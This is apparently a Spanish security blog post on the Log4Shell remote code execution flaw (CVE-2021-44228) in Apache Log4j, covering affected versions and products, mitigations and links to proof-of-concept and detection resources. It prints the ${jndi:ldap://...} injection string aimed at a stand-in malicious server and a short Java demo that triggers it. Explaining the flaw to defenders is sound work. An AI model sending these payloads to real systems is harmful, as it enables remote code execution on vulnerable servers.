RCE en Log4j (#log4shell): sencillo de explotar y presente en numerosas apps

Recientemente se ha publicado un exploit de día 0 en log4j, la popular librería de Java desarrollada por la Apache Foundation que da como resultado la ejecución remota de código (RCE) al loggear una determinada cadena con la sintaxis ${jndi:ldap://servidor_malicioso/exp}. Así de sencillo:

Minecraft

Ghidra

Apache Struts2

Apache Solr

Más (y la lista sigue creciendo) en: https://github.com/YfryTchsGD/Log4jAttackSurface

Como veis, debido a la incorrecta validación de log4j es posible aprovecharse de este bug y a través de JDNI y LDAP ejecutar cualquier código sin autenticación previa.
Además, y lo más importante, es que encontraremos numerosas apps que utilizan log4j, desde Minecraft hasta Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket... y la lista va creciendo y creciendo...

Otro ejemplo llamando directamente al logger:
package demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class demo {
    public static Logger logger= LogManager.getLogger();
    public static void main(String[] args){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://servidor/vvt4s5}");

    }
}
Lo más loco de la vulnerabilidad en log4j es la cantidad de formas en que un atacante puede explotarlo; cualquier entrada que eventualmente pueda escribirse en un archivo de log es un canal potencial. La creatividad del atacante es el límite ;)

La vulnerabilidad que afecta a Log4j 2.0-beta9 hasta 2.14.1, ya ha sido bautizada con CVE-2021-44228 o log4shell.

Varias publicaciones recientes parecen indicar que versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque del LDAP, es decir, en dichas versiones com.sun.jndi.ldap.object.trustURLCodebase está puesto a false por lo que JNDI no puede cargar codebase remotamente a través LDAP.

En cualquier caso, para todos es CRÍTICO parchear o llevar a cabo los pasos de mitigación disponibles:
  • Apache ya ha lanzado Log4j 2.15.0 para corregir la vulnerabilidad.
  • El bug también se puede mitigar en versiones anteriores (2.10 y posteriores) estableciendo la propiedad del sistema "log4j2.formatMsgNoLookups" en "true" o eliminando la clase JndiLookup del classpath.

Seguiremos atentos a esta vulnerabilidad que seguro traerá bastante repercusión (y consecuencias) durante los próximos días.

PoCs:

https://github.com/tangxiaofeng7/apache-log4j-poc
https://github.com/rabbitsafe/Apache-Log4j_RCE

Detección:

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Fuentes:

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://www.bleepingcomputer.com/news/security/new-zero-day-exploit-for-log4j-java-library-is-an-enterprise-nightmare/
https://www.cert.govt.nz/it-specialists/advisories/log4j-rce-0-day-actively-exploited/

Comentarios

Publicar un comentario